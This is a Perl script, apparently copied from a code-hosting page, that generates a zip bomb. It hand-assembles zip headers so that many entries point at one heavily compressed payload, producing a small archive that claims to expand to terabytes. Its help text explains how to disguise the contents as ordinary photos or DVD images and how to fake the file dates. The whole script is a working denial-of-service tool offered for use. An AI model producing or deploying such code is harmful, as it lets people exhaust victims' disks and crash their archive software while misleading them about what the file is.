/
eZIPlode.pl
257 lines (228 loc) · 11 KB
/
eZIPlode.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#!/usr/bin/perl
use strict;
use warnings;
use Getopt::Long;
use Time::HiRes;
print "\neZiplode Version 0.17\n";
my $repeats = 1; #only once if value not provided
my $filenames = "dvd"; #default name for the file internal file names; file0034.txt
my $fileext = "iso"; #default extention name for internal files; file1.txt
my $filename = "eZIPlode.zip"; #default output file name if none is chosen
my $file_date = "\x3f\x65\xbd\x4e"; #Default date in meta-data
my $nohelp = 0;
GetOptions('amount=s' => \$repeats,
'filenames=s' => \$filenames,
'fileext=s' => \$fileext,
'outfile=s' => \$filename,
'date=s' => \$file_date,
'nohelp' => \$nohelp);
if ($nohelp ne 1) { infoscreen();} #print help, unless otherwise told on CLI
#When did program start
my $start = Time::HiRes::time();
if ($file_date ne "\x3f\x65\xbd\x4e") {
$file_date = printhex_32($file_date);
}
my $file_serial = ""; #Intialize amount of serial digits after internal file names
my $file_serial_digits; #throwaway variable used in getserial() function
my $n; #throwaway variable used in while loops
my $mid_offset = printhex_32(0); #initialize the first mid_offset to 0
getserial();
my $nullname = "$filenames". $file_serial. ".$fileext";
my $filelength = printhex_16(length($nullname));
my $end_size;
my $end_offset;
my $zipsize;
my $explodedsize;
open(FILE,">>$filename") || die "\t\tCould not open file\n$!\n";
##This is the main loop that creates the .zip file
head(); #inject header
file(); #inject file
$n=0; #initialize counter
$file_serial = ""; #initialize serial digits again for next round of mid headers
getserial(); #get the amount of digits we need again
#This loop injects the mid headers and file metadata peices, it dynamically calculates offsets as well
while ($n < $repeats) { #do this loop for however many files the user wants
mid(); #inject mid header
$nullname = "$filenames". $file_serial. ".$fileext"; #update filename
midfile(); #inject mid metadata file
# $mid_offset = printhex_32((4168202+length($nullname)+30)*$n); #offset = (compressed file size + length of file name + 1st header length) * amount of files up to this point
$file_serial++; #increment serial number for the filename
$n++ #increment loop
}
#do all of the footer magic
my $end_files = printhex_16($repeats); #amount of files
$end_size = printhex_32((24+length($nullname)+46)*$repeats); #midfile+filenamelength+mid multiplied by the amount of files
$end_offset = printhex_32((4168202+length($nullname)+30));#*$repeats); #pretty much the same formula for mid_offset, times the amount of files
end(); #inject the footer
#Now we have all the subroutines for injecting the head, midhead, end(footer), file, and midfile (metadata)
sub head {
###---Head---###
#Generally 30 bytes in length
my $head_sig = "\x50\x4b\x03\x04"; #Local File Header Signature
my $head_ver = "\x14\x00"; #Minimum zip version needed to extract
my $head_flag = "\x02\x00"; #General Purpose bit flag
my $head_method = "\x08\x00"; #Compression Method
my $head_modtime= $file_date; #Unix timecode; 11:11am 11-11-11
my $head_crc = "\xb3\xb1\x6e\x98"; #Check Sum
my $head_csize = "\xee\x99\x3f\x00"; #Reported Compressed Size
my $head_usize = "\xf0\xff\xff\xff"; #Reported Uncompressed Size
my $head_fnl = $filelength; #File Name Length
my $head_efl = "\x1c\x00"; #Extra Field Length
my $head = $head_sig.$head_ver.$head_flag.$head_method.$head_modtime.$head_crc.
$head_csize.$head_usize.$head_fnl.$head_efl;
print FILE $head;
}
sub mid {
###---Mid---###
#Generally 46 bytes in length
my $mid_sig = "\x50\x4b\x01\x02"; #Local File Header Signature (for mid)
my $mid_verm = "\x1e\x03"; #Version Made by
my $mid_ver = "\x14\x00"; #Minimum zip version needed to extract
my $mid_flag = "\x02\x00"; #General Purpose bit flag
my $mid_method = "\x08\x00"; #Compression Method
my $mid_modtime = $file_date; #Unix timecode; 11:11am 11-11-11
my $mid_crc = "\xb3\xb1\x6e\x98"; #Check Sum
my $mid_csize = "\xee\x99\x3f\x00"; #Reported Compressed Size
my $mid_usize = "\xf0\xff\xff\xff"; #Reported Uncompressed Size
my $mid_fnl = $filelength; #File Name Length
my $mid_efl = "\x18\x00"; #Extra Field Length
my $mid_coml = "\x00\x00"; #File Comment Lenth
my $mid_dnum = "\x00\x00"; #Disk number where file starts
my $mid_iattr = "\x00\x00"; #Internal File Attributes
my $mid_eattr = "\x00\x00\xa4\x81"; #External File Attributes
my $mid = $mid_sig.$mid_verm.$mid_ver.$mid_flag.$mid_method.$mid_modtime.$mid_crc.
$mid_csize.$mid_usize.$mid_fnl.$mid_efl.$mid_coml.$mid_dnum.$mid_iattr.
$mid_eattr.$mid_offset;
print FILE $mid;
}
sub end {
###---End---###
#Generally 22 bytes bytes in length
my $end_sig = "\x50\x4b\x05\x06"; #Local File Header Signature (for end)
my $end_dnum = "\x00\x00"; #Number of this disk
my $end_dstart = "\x00\x00"; #Disk where central directory starts
my $end_coml = "\x00\x00"; #File Comment Length
my $end = $end_sig.$end_dnum.$end_dstart.$end_files.$end_files.$end_size.$end_offset.$end_coml;
print FILE $end;
}
sub file {
###---File---###
#$file is about 4 Megabytes of data (compressed)
#OR 4168202 bytes plus filename size
#This crazy hex shit isn't meant to be readable; it was derived from reverse engineering
#a real .zip file.
my $peice01 = $nullname."\x55\x54\x09\x00\x03".$file_date."\xa7\xa1\x8a\x4f\x75".
"\x78\x0b\x00\x01\x04\xf6\x03\x00\x00\x04\xf7\x03\x00\x00\xec\xc1".
"\x31\x11\x00\x20\x0c\x04\xb0\x9f\x51\x81\x94\xae\xa8\x42\x0f\x5e".
"\x50\xc4\xd4\xc3\x47\x92\xe4\x8c\xbb\x93\x5a\x2f\xdf\x0c";
my $peice02 = "\x00" x 8187;
my $peice03 = "\x40\xb3\x07\x07\x02\x00\x00\x00\x00\x40\xfe\xaf\x8d\xa0";
my $peice04 = "\xaa" x 8191;
my $peice05 = "\xc2\x1e\x1c\x08\x00\x00\x00\x00\x00\xf9\xbf\x36\x82" . $peice04;
my $peice06 = "\x0a\x7b\x70\x20\x00\x00\x00\x00\x00\xe4\xff\xda\x08" . $peice04;
my $peice07 = "\x2a\xec\xc1\x81\x00\x00\x00\x00\x00\x90\xff\x6b\x23\xa8" . $peice04;
my $peice08 = "\xb0\x07\x07\x02\x00\x00\x00\x00\x40\xfe\xaf\x8d\xa0" . $peice04;
my $peice09 = $peice05.$peice06.$peice07.$peice08;
my $peice10 = $peice09 x 126;
my $peice11 = $peice05.$peice06;
my $peice12 = "\x2a\xed\xc1\x01\x01\x00\x00\x00\x80\x90\xff\xaf\x1b\x12";
my $peice13 = "\x00" x 384;
my $peice14 = "\xe0\x26";
my $file = $peice01.$peice02.$peice03.$peice04.$peice10.$peice11.$peice12.$peice13.$peice14;
print FILE $file;
}
sub midfile {
#Data reported to archive software about file (Metadata)
###---Meta File---###
#Typically 24 bytes + bytes for filesize
my $midfile = $nullname."\x55\x54\x05\x00\x03".$file_date."\x75\x78".
"\x0b\x00\x01\x04\xf6\x03\x00\x00\x04\xf7\x03\x00\x00";
print FILE $midfile;
}
#Routine for getting a decimal number and returning it's hexadecimal 2-byte stupid-endian equivilant
sub printhex_16 {
my $value = shift; #get the value passed to it
my $return; #make a return variable
$value = sprintf("%.4X\n", $value); #get an "ASCII HEX" version of the value
if ($value =~ /(.)(.)(.)(.)/) { #parse out each character
$return = pack("C*", map { $_ ? hex($_) :() } $3.$4) . pack("C*", map { $_ ? hex($_) :() } $1.$2); #unpack it
}
return $return; #return the hex data
}
#Routine for getting a decimal number and returning it's hexadecimal 4-byte stupid-endian equivilant
sub printhex_32 {
my $value = shift; #get the value passed to it
my $return; #make a return variable
$value = sprintf("%.8X\n", $value); #get an "ASCII HEX" version of the value
if ($value =~ /(.)(.)(.)(.)(.)(.)(.)(.)/) { #parse out each character
$return = pack("C*", map { $_ ? hex($_) :() } $7.$8) . pack("C*", map { $_ ? hex($_) :() } $5.$6) .
pack("C*", map { $_ ? hex($_) :() } $3.$4) . pack("C*", map { $_ ? hex($_) :() } $1.$2); #unpack it
}
return $return; #return the hex data
}
#This will figure out how many digits to append to a file name. If we had 15 files; it would go from 00-14. If we had
#over 9000 files, it would go from 0000-9xxx.
sub getserial {
$file_serial_digits = $repeats; #grab a destroyable value for our amount of files
while ($file_serial_digits > 1) { #Is there another digit
$file_serial = $file_serial . "0"; #the first trailing 0 is a freebie (but it appends another 0 each time through the loop
$file_serial_digits = $file_serial_digits / 10; #divide by 10; see if we have another digit
}
}
sub dataformat($) {
my $byt = shift;
$byt >= 1073741824 ? sprintf("%0.2f GB", $byt/1073741824)
: $byt >= 1048576 ? sprintf("%0.2f MB", $byt/1048576)
: $byt >= 1024 ? sprintf("%0.2f KB", $byt/1024)
: $byt . " bytes";
}
close(FILE);
print "eZIPloded!!!\n";
sub infoscreen {
print "\nDESCRIPTION: This is an archive exploder script. If you've ver seen 42.zip,\n";
print "\tthis script produces a .zip file in a similar spirit; It makes a .zip\n";
print "\tfile potentially larger than any modern commercial hard-drive could\n";
print "\textract. Depending on the --amount you select, it could be anywhere\n";
print "\tfrom 4 GB to 256 TB. One notable difference between this exploder and\n";
print "\t42.zip is that the directory structure is flat; otherwise 'extract-all'\n";
print "\twould not be as effective\n\n";
print "USAGE: eZIPlode.pl [--options]\n\n";
print "OPTIONS:\n";
print "--nohelp: This option skips THIS help screen\n";
print "--amount: This is the amount of internal files to include, the more the better.\n";
print "\tKeep in mind that normal .zip has a 65535 file limit.\n";
print "--filenames: This sets the file name of internal files; if you said 'DVD', then\n";
print "\tfiles would look like DVD000.iso, DVD001.iso, DVD002.iso, etc...\n";
print "--fileext: This is the file extension for the internal files; if you said 'img',\n";
print "\tthen files would look like DVD000.img, DVD001.img, etc...\n";
print "--outfile: This is the file name of the output zip file. By default it is\n";
print "\teZIPlode.zip\n";
print "--date: This is the date you want in the file metadata, by default it is\n";
print "\t11:11 AM on November 11 of 2011 (11-11-11)...\n";
print "\nEXAMPLES:\n";
print "Example 1: eZIPlode.pl\n";
print "\tNotice that you don't need any options, defaults are provided otherwise.\n";
print "Example 2: eZIPload.pl --nohelp --amount=9001 --filenames=DCIM --fileext=jpg\n";
print "\t\t--outfile=pictures.zip --date=1\n";
print "\tThis will make a zip file called pictures.zip that have more than 9000\n";
print "\tfiles that look like DCIM0000.jpg, DCIM0001.jpg, etc. They will look\n";
print "\tlike they were created in '69 since the --date field is a UNIX like\n";
print "\ttimestamp, and you will also skip this help screen.\n";
print "\nPress Enter to start the script: ";
if (<> ne \00) {clear(); return;}
}
#Clear the screen
sub clear {
print "\033[2J"; #\
print "\033[0;0H"; # clear screen hack
}
$zipsize = 4168338 + ($repeats * 80);
#$explodedsize;
print "ZIP Size is: " . dataformat($zipsize) . "\n";
print "Total Uncompressed size would be: " . dataformat($repeats * 4294967280) . "\n";
#When did program finish
my $end = Time::HiRes::time();
$end = $end - $start;
print "Finished in ";
printf '%.2f', "$end";
print " seconds\n";